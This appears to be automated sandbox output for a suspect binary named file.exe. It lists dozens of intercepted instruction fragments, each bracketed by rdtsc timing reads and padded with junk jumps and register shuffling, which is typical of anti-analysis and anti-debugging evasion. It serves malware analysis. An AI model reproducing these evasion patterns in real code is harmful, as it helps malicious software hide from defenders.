Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF032C second address: 4DF03FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FB678E7E6F6h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FB678E7E6EEh 0x00000017 xor eax, 154F27A8h 0x0000001d jmp 00007FB678E7E6EBh 0x00000022 popfd 0x00000023 call 00007FB678E7E6F8h 0x00000028 jmp 00007FB678E7E6F2h 0x0000002d pop ecx 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FB678E7E6EEh 0x00000037 adc esi, 15C8BC68h 0x0000003d jmp 00007FB678E7E6EBh 0x00000042 popfd 0x00000043 pushfd 0x00000044 jmp 00007FB678E7E6F8h 0x00000049 jmp 00007FB678E7E6F5h 0x0000004e popfd 0x0000004f popad 0x00000050 xchg eax, esi 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF03FB second address: 4DF03FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF03FF second address: 4DF0412 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0412 second address: 4DF0485 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FB6784C8BDEh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FB6784C8BE1h 0x00000017 add cl, FFFFFFA6h 0x0000001a jmp 00007FB6784C8BE1h 0x0000001f popfd 0x00000020 call 00007FB6784C8BE0h 0x00000025 mov eax, 0E6C96E1h 0x0000002a pop ecx 0x0000002b popad 0x0000002c xchg eax, edi 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0485 second address: 4DF0489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0489 second address: 4DF049F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF049F second address: 4DF04E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [75AB4538h] 0x0000000e jmp 00007FB678E7E6F6h 0x00000013 xor dword ptr [ebp-08h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB678E7E6F7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF04E5 second address: 4DF050D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edx, eax 0x00000010 mov dx, cx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF050D second address: 4DF0513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0513 second address: 4DF0517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0517 second address: 4DF0590 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FB678E7E6F2h 0x00000010 adc cx, E428h 0x00000015 jmp 00007FB678E7E6EBh 0x0000001a popfd 0x0000001b call 00007FB678E7E6F8h 0x00000020 mov edi, ecx 0x00000022 pop eax 0x00000023 popad 0x00000024 mov dword ptr [esp], eax 0x00000027 jmp 00007FB678E7E6EDh 0x0000002c lea eax, dword ptr [ebp-10h] 0x0000002f jmp 00007FB678E7E6EEh 0x00000034 mov dword ptr fs:[00000000h], eax 0x0000003a pushad 0x0000003b movzx esi, dx 0x0000003e push eax 0x0000003f push edx 0x00000040 push edx 0x00000041 pop esi 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0590 second address: 4DF05E4 instructions: 0x00000000 rdtsc 0x00000002 mov dl, 6Ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [ebp-18h], esp 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push ecx 0x00000010 mov si, dx 0x00000013 pop edi 0x00000014 popad 0x00000015 mov eax, dword ptr fs:[00000018h] 0x0000001b jmp 00007FB6784C8BDAh 0x00000020 mov ecx, dword ptr [eax+00000FDCh] 0x00000026 jmp 00007FB6784C8BE0h 0x0000002b test ecx, ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 call 00007FB6784C8BDDh 0x00000035 pop esi 0x00000036 mov edi, 441E4284h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF05E4 second address: 4DF0623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FB678E7E71Fh 0x0000000f jmp 00007FB678E7E6F0h 0x00000014 add eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB678E7E6F7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0623 second address: 4DF0629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0629 second address: 4DF0661 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b jmp 00007FB678E7E6F7h 0x00000010 test ecx, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB678E7E6F0h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0661 second address: 4DF0670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01A7 second address: 4DE021A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FB678E7E6EFh 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 movzx eax, di 0x00000016 movsx edi, cx 0x00000019 popad 0x0000001a sub esp, 2Ch 0x0000001d jmp 00007FB678E7E6F8h 0x00000022 xchg eax, ebx 0x00000023 jmp 00007FB678E7E6F0h 0x00000028 push eax 0x00000029 pushad 0x0000002a mov edi, 2876F0D4h 0x0000002f mov dx, 4640h 0x00000033 popad 0x00000034 xchg eax, ebx 0x00000035 jmp 00007FB678E7E6EFh 0x0000003a xchg eax, edi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE021A second address: 4DE021E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE021E second address: 4DE0224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0224 second address: 4DE0276 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB6784C8BE8h 0x00000009 adc eax, 76726EE8h 0x0000000f jmp 00007FB6784C8BDBh 0x00000014 popfd 0x00000015 mov ecx, 42C636DFh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FB6784C8BE7h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0276 second address: 4DE0293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0293 second address: 4DE0299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0299 second address: 4DE029D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE02C0 second address: 4DE02DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE02DB second address: 4DE02E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE02E1 second address: 4DE030B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d jmp 00007FB6784C8BDFh 0x00000012 sub edi, edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE030B second address: 4DE030F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE030F second address: 4DE0315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0315 second address: 4DE031B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE031B second address: 4DE031F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE031F second address: 4DE0388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ebx 0x00000009 jmp 00007FB678E7E6F1h 0x0000000e test al, al 0x00000010 pushad 0x00000011 mov edi, ecx 0x00000013 pushfd 0x00000014 jmp 00007FB678E7E6F8h 0x00000019 adc esi, 0F8C5F88h 0x0000001f jmp 00007FB678E7E6EBh 0x00000024 popfd 0x00000025 popad 0x00000026 je 00007FB678E7E848h 0x0000002c pushad 0x0000002d jmp 00007FB678E7E6F4h 0x00000032 push ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0412 second address: 4DE041B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, D37Ch 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE041B second address: 4DE0421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0421 second address: 4DE046D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a jmp 00007FB6784C8BE8h 0x0000000f jg 00007FB6E9146C1Fh 0x00000015 jmp 00007FB6784C8BE0h 0x0000001a js 00007FB6784C8C49h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FB6784C8BDAh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE046D second address: 4DE047C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE047C second address: 4DE0494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6784C8BE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0494 second address: 4DE04EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b jmp 00007FB678E7E6F7h 0x00000010 jne 00007FB6E9AFC6CBh 0x00000016 jmp 00007FB678E7E6F6h 0x0000001b mov ebx, dword ptr [ebp+08h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB678E7E6F7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE04EE second address: 4DE0536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c jmp 00007FB6784C8BDEh 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB6784C8BE7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0536 second address: 4DE0556 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 push edi 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB678E7E6F3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0556 second address: 4DE0580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 3B0Ah 0x00000007 mov eax, edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 call 00007FB6784C8BE9h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0580 second address: 4DE05E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FB678E7E6F0h 0x0000000f sbb ecx, 43DB5658h 0x00000015 jmp 00007FB678E7E6EBh 0x0000001a popfd 0x0000001b popad 0x0000001c nop 0x0000001d jmp 00007FB678E7E6F6h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FB678E7E6EEh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE05E1 second address: 4DE05E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE06B9 second address: 4DD0DD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB678E7E6F7h 0x00000008 pop ecx 0x00000009 push edx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test esi, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FB678E7E6F1h 0x00000017 sbb si, 3646h 0x0000001c jmp 00007FB678E7E6F1h 0x00000021 popfd 0x00000022 mov ecx, 3DFC98F7h 0x00000027 popad 0x00000028 je 00007FB6E9AFC630h 0x0000002e xor eax, eax 0x00000030 jmp 00007FB678E57E1Ah 0x00000035 pop esi 0x00000036 pop edi 0x00000037 pop ebx 0x00000038 leave 0x00000039 retn 0004h 0x0000003c nop 0x0000003d cmp eax, 00000000h 0x00000040 setne cl 0x00000043 xor ebx, ebx 0x00000045 test cl, 00000001h 0x00000048 jne 00007FB678E7E6E7h 0x0000004a jmp 00007FB678E7E85Bh 0x0000004f call 00007FB67DB08749h 0x00000054 mov edi, edi 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FB678E7E6ECh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0DD4 second address: 4DD0DF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 128A9CE4h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007FB6784C8BDBh 0x00000016 pop eax 0x00000017 mov eax, edx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0DF4 second address: 4DD0DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0DFA second address: 4DD0DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0DFE second address: 4DD0E5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007FB678E7E6F0h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushfd 0x0000001b jmp 00007FB678E7E6F3h 0x00000020 and ah, FFFFFFBEh 0x00000023 jmp 00007FB678E7E6F9h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0E5C second address: 4DD0EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 53D2h 0x00000007 pushfd 0x00000008 jmp 00007FB6784C8BE3h 0x0000000d adc esi, 34EB47CEh 0x00000013 jmp 00007FB6784C8BE9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ecx 0x0000001d jmp 00007FB6784C8BDEh 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FB6784C8BDDh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0EBB second address: 4DD0EC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0EC1 second address: 4DD0EEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FB6784C8BE8h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0EEE second address: 4DD0F18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], 55534552h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB678E7E6F0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F18 second address: 4DD0F27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F27 second address: 4DD0F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F2D second address: 4DD0F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F4E second address: 4DD0F54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0F54 second address: 4DD0F98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 pushfd 0x00000007 jmp 00007FB6784C8BE5h 0x0000000c and ax, 0AE6h 0x00000011 jmp 00007FB6784C8BE1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a leave 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FB6784C8BDAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0D3E second address: 4DE0D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0D42 second address: 4DE0D46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0D46 second address: 4DE0D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0D4C second address: 4DE0D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6784C8BE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0D61 second address: 4DE0D65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0D65 second address: 4DE0D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, 1CF5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0D78 second address: 4DE0D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE0D7D second address: 4DE0D82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E006FC second address: 4E00702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00702 second address: 4E00730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007FB6784C8BE8h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov bl, 6Ch 0x00000016 mov si, 5A95h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00730 second address: 4E007C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov bx, ax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FB678E7E6EEh 0x00000016 sbb eax, 380C1998h 0x0000001c jmp 00007FB678E7E6EBh 0x00000021 popfd 0x00000022 popad 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 pushad 0x00000026 mov cx, 8D47h 0x0000002a pushfd 0x0000002b jmp 00007FB678E7E6ECh 0x00000030 and esi, 359443F8h 0x00000036 jmp 00007FB678E7E6EBh 0x0000003b popfd 0x0000003c popad 0x0000003d push eax 0x0000003e jmp 00007FB678E7E6F9h 0x00000043 xchg eax, esi 0x00000044 jmp 00007FB678E7E6EEh 0x00000049 mov esi, dword ptr [ebp+0Ch] 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E007C1 second address: 4E007C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E007C5 second address: 4E007CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E007CB second address: 4E00866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c mov cl, C1h 0x0000000e pushfd 0x0000000f jmp 00007FB6784C8BE3h 0x00000014 jmp 00007FB6784C8BE3h 0x00000019 popfd 0x0000001a popad 0x0000001b je 00007FB6E911677Ch 0x00000021 jmp 00007FB6784C8BE6h 0x00000026 cmp dword ptr [75AB459Ch], 05h 0x0000002d pushad 0x0000002e pushad 0x0000002f mov edx, ecx 0x00000031 mov bh, cl 0x00000033 popad 0x00000034 push ebx 0x00000035 jmp 00007FB6784C8BE0h 0x0000003a pop ecx 0x0000003b popad 0x0000003c je 00007FB6E912E81Fh 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 call 00007FB6784C8BDAh 0x0000004a pop eax 0x0000004b mov cx, bx 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00866 second address: 4E0086C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
